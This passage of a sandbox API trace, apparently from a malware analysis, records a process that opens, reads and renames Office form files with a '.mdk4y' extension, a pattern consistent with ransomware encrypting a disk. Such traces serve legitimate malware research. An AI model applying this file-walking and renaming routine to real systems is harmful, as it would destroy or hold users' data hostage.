lpPerformanceCount=0x37de58*=1828715100000) returned 1 [0211.921] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbb6, lpOverlapped=0x0) returned 1 [0211.960] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828719000000) returned 1 [0211.960] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828719000000) returned 1 [0211.961] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\conflict.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\conflict.ico.mdk4y")) returned 1 [0211.964] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0211.964] AreFileApisANSI () returned 1 [0211.964] GetACP () returned 0x4e4 [0211.964] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CONTACT.CFG", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="CONTACT.CFGO", lpUsedDefaultChar=0x37dec0) returned 11 [0211.964] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0211.965] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828719500000) returned 1 [0211.965] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x30f, lpOverlapped=0x0) returned 1 [0211.969] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828719900000) returned 1 [0211.969] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828719900000) returned 1 [0211.970] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg.mdk4y")) returned 1 [0211.971] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0211.971] AreFileApisANSI () returned 1 [0211.971] GetACP () returned 0x4e4 [0211.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CONTACTL.ICO", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="CONTACTL.ICO", lpUsedDefaultChar=0x37dec0) returned 12 [0211.971] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contactl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0211.972] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828720200000) returned 1 [0211.972] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x436, lpOverlapped=0x0) returned 1 [0211.982] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828721200000) returned 1 [0211.982] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828721200000) returned 1 [0211.982] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contactl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contactl.ico.mdk4y")) returned 1 [0211.983] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0211.983] AreFileApisANSI () returned 1 [0211.983] GetACP () returned 0x4e4 [0211.983] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CONTACTS.ICO", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="CONTACTS.ICO", lpUsedDefaultChar=0x37dec0) returned 12 [0211.983] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contacts.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0211.984] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828721400000) returned 1 [0211.984] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbb6, lpOverlapped=0x0) returned 1 [0211.986] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828721600000) returned 1 [0211.986] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828721600000) returned 1 [0211.986] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contacts.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contacts.ico.mdk4y")) returned 1 [0211.987] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0211.987] AreFileApisANSI () returned 1 [0211.987] GetACP () returned 0x4e4 [0211.987] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DISTLIST.CFG", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="DISTLIST.CFG", lpUsedDefaultChar=0x37dec0) returned 12 [0211.987] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0211.988] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828721800000) returned 1 [0211.988] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x325, lpOverlapped=0x0) returned 1 [0211.994] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828722400000) returned 1 [0211.994] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828722400000) returned 1 [0211.995] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg.mdk4y")) returned 1 [0211.996] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0211.996] AreFileApisANSI () returned 1 [0211.996] GetACP () returned 0x4e4 [0211.996] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DISTLSTL.ICO", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="DISTLSTL.ICO", lpUsedDefaultChar=0x37dec0) returned 12 [0211.996] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlstl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0211.996] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828722600000) returned 1 [0211.996] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x436, lpOverlapped=0x0) returned 1 [0212.003] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828723300000) returned 1 [0212.003] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828723300000) returned 1 [0212.004] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlstl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlstl.ico.mdk4y")) returned 1 [0212.004] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.004] AreFileApisANSI () returned 1 [0212.004] GetACP () returned 0x4e4 [0212.004] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DISTLSTS.ICO", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="DISTLSTS.ICO", lpUsedDefaultChar=0x37dec0) returned 12 [0212.004] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlsts.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.005] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828723500000) returned 1 [0212.005] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbb6, lpOverlapped=0x0) returned 1 [0212.006] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828723600000) returned 1 [0212.006] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828723600000) returned 1 [0212.007] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlsts.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlsts.ico.mdk4y")) returned 1 [0212.007] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.007] AreFileApisANSI () returned 1 [0212.007] GetACP () returned 0x4e4 [0212.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DOC.CFG", cchWideChar=7, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="DOC.CFGS.ICO", lpUsedDefaultChar=0x37dec0) returned 7 [0212.007] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.008] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828723800000) returned 1 [0212.008] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2fd, lpOverlapped=0x0) returned 1 [0212.009] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828723900000) returned 1 [0212.009] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828723900000) returned 1 [0212.009] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg.mdk4y")) returned 1 [0212.010] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.010] AreFileApisANSI () returned 1 [0212.010] GetACP () returned 0x4e4 [0212.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DOCL.ICO", cchWideChar=8, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="DOCL.ICO.ICO", lpUsedDefaultChar=0x37dec0) returned 8 [0212.010] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.011] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828724100000) returned 1 [0212.011] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x436, lpOverlapped=0x0) returned 1 [0212.016] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828724600000) returned 1 [0212.016] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828724600000) returned 1 [0212.016] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docl.ico.mdk4y")) returned 1 [0212.029] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.029] AreFileApisANSI () returned 1 [0212.029] GetACP () returned 0x4e4 [0212.029] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DOCS.ICO", cchWideChar=8, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="DOCS.ICO", lpUsedDefaultChar=0x37dec0) returned 8 [0212.029] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.029] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828725900000) returned 1 [0212.030] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbb6, lpOverlapped=0x0) returned 1 [0212.031] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828726100000) returned 1 [0212.031] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828726100000) returned 1 [0212.031] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docs.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docs.ico.mdk4y")) returned 1 [0212.032] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.032] AreFileApisANSI () returned 1 [0212.032] GetACP () returned 0x4e4 [0212.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EXITEM.CFG", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="EXITEM.CFGCO", lpUsedDefaultChar=0x37dec0) returned 10 [0212.032] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.034] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828726400000) returned 1 [0212.034] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x346, lpOverlapped=0x0) returned 1 [0212.035] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828726500000) returned 1 [0212.035] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828726500000) returned 1 [0212.035] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg.mdk4y")) returned 1 [0212.037] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.038] AreFileApisANSI () returned 1 [0212.038] GetACP () returned 0x4e4 [0212.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EXITEML.ICO", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="EXITEML.ICOO", lpUsedDefaultChar=0x37dec0) returned 11 [0212.038] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exiteml.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.039] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828727000000) returned 1 [0212.040] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x436, lpOverlapped=0x0) returned 1 [0212.048] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828727800000) returned 1 [0212.048] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828727800000) returned 1 [0212.048] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exiteml.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exiteml.ico.mdk4y")) returned 1 [0212.049] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.049] AreFileApisANSI () returned 1 [0212.049] GetACP () returned 0x4e4 [0212.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EXITEMS.ICO", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="EXITEMS.ICO", lpUsedDefaultChar=0x37dec0) returned 11 [0212.050] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitems.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.050] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828728000000) returned 1 [0212.051] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbb6, lpOverlapped=0x0) returned 1 [0212.052] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828728200000) returned 1 [0212.052] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828728200000) returned 1 [0212.052] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitems.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitems.ico.mdk4y")) returned 1 [0212.053] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.053] AreFileApisANSI () returned 1 [0212.053] GetACP () returned 0x4e4 [0212.053] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="INFOMAIL.CFG", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="INFOMAIL.CFG", lpUsedDefaultChar=0x37dec0) returned 12 [0212.053] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infomail.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.054] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828728400000) returned 1 [0212.054] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x268, lpOverlapped=0x0) returned 1 [0212.055] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828728500000) returned 1 [0212.055] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828728500000) returned 1 [0212.055] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infomail.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infomail.cfg.mdk4y")) returned 1 [0212.057] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.057] AreFileApisANSI () returned 1 [0212.057] GetACP () returned 0x4e4 [0212.057] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="INFOML.ICO", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="INFOML.ICOFG", lpUsedDefaultChar=0x37dec0) returned 10 [0212.057] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoml.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.058] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828728800000) returned 1 [0212.058] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x627e, lpOverlapped=0x0) returned 1 [0212.064] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828729400000) returned 1 [0212.064] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828729400000) returned 1 [0212.064] MoveFileA 